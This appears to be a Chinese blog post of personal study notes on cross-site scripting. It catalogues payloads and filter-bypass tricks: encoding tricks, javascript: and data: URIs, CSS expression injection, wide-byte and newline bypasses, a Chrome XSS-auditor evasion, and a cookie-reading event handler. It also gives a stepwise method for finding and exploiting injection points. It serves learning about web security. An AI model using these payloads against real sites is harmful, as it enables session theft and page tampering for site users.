本文同步自个人博客园:http://hustskyking.cnblogs.comjavascript
该文章是本人两天的学习笔记,共享出来,跟你们交流。知识比较零散,可是对有必定 JS 基础的人来讲,每一个小知识都有助于开阔你的 Hack 视角。首先声明,本文只是 XSS 攻击的冰山一角,读者自行深刻研究。php
注意:这些插入和修改都是为了避开浏览器自身的过滤,或者开发者认为的过滤。css
1. document.write innerHTML eval setTimeout/setInterval等等都是不少XSS攻击注入的入口。html
2. html实体编码html5
> "alert("Barret李靖")".replace(/./g, function(s){ return "&#" + s.charCodeAt(0) /*.toString(16) 转换成16进制也能够滴*/ + ";" }); > "alert(1)" <img src="x" onerror="alert(1)" />
3. 若是过滤 html 实体编码,能够改为URL编码java
> encodeURIComponent("&#") > "%26%23"
4. 利用 HTML5 新增字符git
: 冒号 
 换行 <a href="javascr
ipt:alert("Barret李靖")">XSS</a>
5. JS进制转换程序员
> "\74\163\143\162\151\160\164\76\141\154\145\162\164\50\61\51\74\57\163\143\162\151\160\164\76" > "<script>alert("Barret李靖")</script>"
6. Base64转换github
> base64("<script>alert("Barret李靖")</script>"); > PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== <a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">XSS</a>
7. 浏览器解析非严格性web
<img src=image.jpg title="Hello World" class=test> ↓ ↓ ↓ ↓ ↓ ↓ ① ② ③ ④ ⑤ ⑥
①中可插入 NUL字符(0x00)
②和④中空格可使用 tab(0x0B)与换页键(0x0C),②还可使用 / 替换
⑤中的"在IE中也可替换成`。
位置 | 代码 | 可能插入或替代的代码 ------------|--------------------------|----------------------- <的右边 | <[here]a href="... | 控制符,空白符,非打印字符 a标签的后门 | <a[here]href="... | 同上 href属性中间| <a hr[here]ef="... | 同上+空字节 =两边 | <a href[here]=[here]"... | 全部字符 替换= | <a href[here]"... | Union编码符号 替换" | <a href=[here]…[here]> | 其余引号 >以前 | <a href="…"[here]> | 任意字符 /以前 | <a href="…">...<[here]/a>| 空白符,控制符 /以后 | <a href="…">...</[here]a>| 空白符,控制符 >闭合以前 | <a href="…">…</a[here]> | 全部字符
8. 斜杠
在字符串中斜杠(/)能够用于转义字符,好比转义 " 和 ' ,双斜杠(//)能够用来注释。这样能够很轻松的改变以前的语句,注入内容。
9. 空格的处理方式
在解析的时候空格被转移成
,注入的时候可使用 /**/
来替换。
10. 特殊属性
1)srcdoc属性(chrome有效)
<iframe srcdoc="<script>alert("Barret李靖")</script>"></iframe>
2)autofoucus
<input onfocus=write(1) autofocus>
3)object
<object classid="clsid:333c7bc4-460f-11d0-bc04-0080c7055a83"> <param name="dataurl" value="javascript:alert("Barret李靖")"> </object>
11.绕过浏览器过滤(crhome)
?t="><img src=1 onerror=alert("Barret李靖")> <input type="hidden" id="sClientUin" value="{{t}}"> 浏览器会过滤onerror中的代码,因此换种方式注入 ?t="><script src="data:text/html,<script>alert("Barret李靖")</script><!--
chrome拦截,是有必定的拦截规则的,只有它以为是恶意代码的才会去拦截。
12.替换URL
<xss style="behavior: url(xss.htc);"> <style>.xss{background-image:url("javascript:alert('xss')");}</style><a class=xss></a> <style type="text/css">body{background:url("javascript:alert('xss')")}</style>
**13.抓包、换包*
1. javascript:和vbscript:协议执行后的结果将会映射在DOM后面。
<a href="javascript:'\x3cimg src\x3dx onerror=alert("Barret李靖")>'">click me</a>
2. 变量覆盖
<form id="location" href="bar"> <script>alert(location.href)</script>
3. meta标签
<meta http-equiv="refresh" content="0; url=javascript:alert(document.domain)"> Javascript: 协议可能被禁止,可使用 data: <meta http-equiv="refresh" content="0; url=data:text/html,<script>alert("Barret李靖")</script>">
4. css注入
<style> @import "data:,*%7bx:expression(write(1))%7D"; </style> <style> @imp\ ort"data:,*%7b- = \a %65x\pr\65 ssion(write(2))%7d"; </style> <style> <link rel="Stylesheet" href="data:,*%7bx:expression(write(3))%7d">
5. 提早闭合标签
http://example.com/test.php?callback=cb 缺陷代码: <script type='text/javascript'> document.domain='soso.com'; _ret={"_res":2}; try{ parent.aaa(_ret); }catch(err){ aaa(_ret); } </script> 注入:http://example.com/test.php?callback=cb</script><script>alert("XSS")</script>
原理:
cb为回调函数,若是后端并无对callback字段进行过滤,则能够cb</script><script>alert("XSS")</script>
这么长的一串做为函数名,而后你就懂啦~ 本方式只针对上面有缺陷的代码。
6. 提早闭合双引号
<input type="text" value="XSS" onclick="alert("Barret李靖")" /> <!--<img src="--><img src=x onerror=alert("Barret李靖")//"> <comment><img src="</comment><img src=x onerror=alert("Barret李靖")//"> <![><img src="]><img src=x onerror=alert("Barret李靖")//"> <style><img src="</style><img src=x onerror=alert("Barret李靖")//">
7. 阻止编码
?t=;alert("Barret李靖") <script type="text/javascript"> var t = query(t); // t = "";alert("Barret李靖")" </script>
上面能够看到 ";" 被编码了,观察页面编码:
<meta http-equiv="Content-Type" content="text/html; charset=gb18030" />
gbxxx系列编码,能够尝试宽字节:
?t=%c0%22alert("Barret李靖")
8. 攻击单行注释
URL对应的param中添加换行符(%0a)或者其余换行符。
?t=%0aalert("Barret李靖")// // init('id', "%0aalert("Barret李靖")//"); 被解析成 // init('id', " alert("Barret李靖")//");
9. url
url中可使用不少协议 http:// https:// javascript: vbscript: data:等等,利用这些属性,能够找到不少的空隙。
<a href="data:text/html,<script>alert("Barret李靖")</script>">XSS</a>
10. Flash跨域注入
这个我不太熟悉,如今网页上Flash用的愈来愈少了,懒得继续看了。
11. 利用事件
<iframe src=# onmouseover="alert(document.cookie)"></iframe>
12. 利用标签
<table><td background="javascript:alert('xss')">
XSS攻击没太多神奇的地方,就是利用浏览器防护不周到或者开发者代码不健壮,悄悄对页面或者服务器进行攻击。
1. 绕过过滤
URL中的 <
,在DOM XSS中,可使用 \u003c (unicode编码)表示,不过他有可能被过滤了,最后解析成<
,也可使用 \x3c (Javascript 16进制编码),>
对应使用 \x3e。这种状况常常在 innerHTML 以及 document.write 中用到。
所谓的过滤包括人工过滤,也包括了浏览器HTML与JavaScript自己的过滤,程序员会在浏览器自己过滤过程当中进行一些干扰和修改,这几个流程都给咱们提供了不少 xss 攻击的入口。
1) 数据须要过滤,可是未过滤。致使XSS。好比:昵称、我的资料。
2) 业务需求使得数据只能部分过滤,但过滤规则不完善,被绕事后致使XSS。好比:日志、邮件及其它富文本应用。
2. 利用源码中js的解析
好比第二部分提出的第11点,浏览器的拦截
?t="><script>alert("Barret李靖")</script>
这样的插入会被拦截,当你发现源码中有这么一句话的时候:
function parseURL(){ //... t.replace("WOW", ""); //.. }
即可以修改如上参数:
?t="><scrWOWipt>alert("Barret李靖")</scrWOWipt>
直接绕过了chrome浏览器对危险代码的防护。
1. 寻找可控参数
攻击入口在哪里?通常是有输入的地方,好比URL、表单、交互等。
2. 开始注入
注入细节上面都是,基本的思惟模式:
3. 修补注入错误
注入后保证没有语法错误,不然代码不会执行,注入了也没用。这里的意思是,你注入的一个参数可能在脚本多处出现,你能够保证一处没语法错误,可是不能保证到处都正确
4. 开搞
测试的时候alert("Barret李靖"),弹出成功再继续其余更邪恶的注入方式。
为何留到后面说。XSS也了解了不少次了,每次都是先从概念触发,感受没啥意思,什么反射性、DOM型、储存型等等,还不如先去实践下,凭着本身对XSS的理解,多看几个网站的源码,找找乐趣。
存储型和反射型相比,只是多了输入存储、输出取出的过程。简单点说:
反射型是:输入--输出;
存储型是:输入--进入数据库*--取出数据库--输出。
这样一来,你们应该注意到如下差异:
反射型是:绝大部分状况下,输入在哪里,输出就在哪里。
存储型是:输入在A处进入数据库,
而输出则可能出如今其它任何用到数据的地方。
反射型是:输入大部分位于地址栏或来自DOM的某些属性,也会偶尔有数据在请求中(POST类型)
存储型是:输入大部分来自POST/
GET请求,常见于一些保存操做中。
于是咱们找存储型的时候,从一个地方输入数据,须要检测不少输出的点,从而可能会在不少点发现存储型XSS。
简单小结:
关注漏洞报告平台 Wooyun,多动脑筋,手动 hack。最重要的仍是先黑客再红客。